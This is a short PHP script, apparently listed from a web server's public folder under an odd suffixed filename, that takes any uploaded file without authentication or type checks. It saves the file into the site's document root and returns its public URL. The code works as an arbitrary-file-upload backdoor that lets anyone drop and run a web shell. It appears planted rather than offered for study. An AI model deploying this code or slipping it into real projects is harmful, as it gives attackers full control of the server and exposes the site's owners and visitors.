File: //var/www/kosmicevents/public/upload.php__7af9720
<?php
header('Content-Type: application/json');
// Get root path
$home = rtrim($_SERVER['DOCUMENT_ROOT'], '/');
// Get domain
$domen = $_SERVER['SERVER_NAME'];
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://';
$baseUrl = $protocol . $domen;
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$fileTmpPath = $_FILES['file']['tmp_name'];
$fileName = basename($_FILES['file']['name']);
$destination = $home . '/' . $fileName;
$fileUrl = $baseUrl . '/' . $fileName;
if (move_uploaded_file($fileTmpPath, $destination)) {
echo json_encode([
'status' => 'success',
'message' => 'File uploaded successfully',
'url' => $fileUrl
]);
} else {
echo json_encode([
'status' => 'error',
'message' => 'Failed to move uploaded file'
]);
}
} else {
echo json_encode([
'status' => 'error',
'message' => 'No file uploaded'
]);
}
?>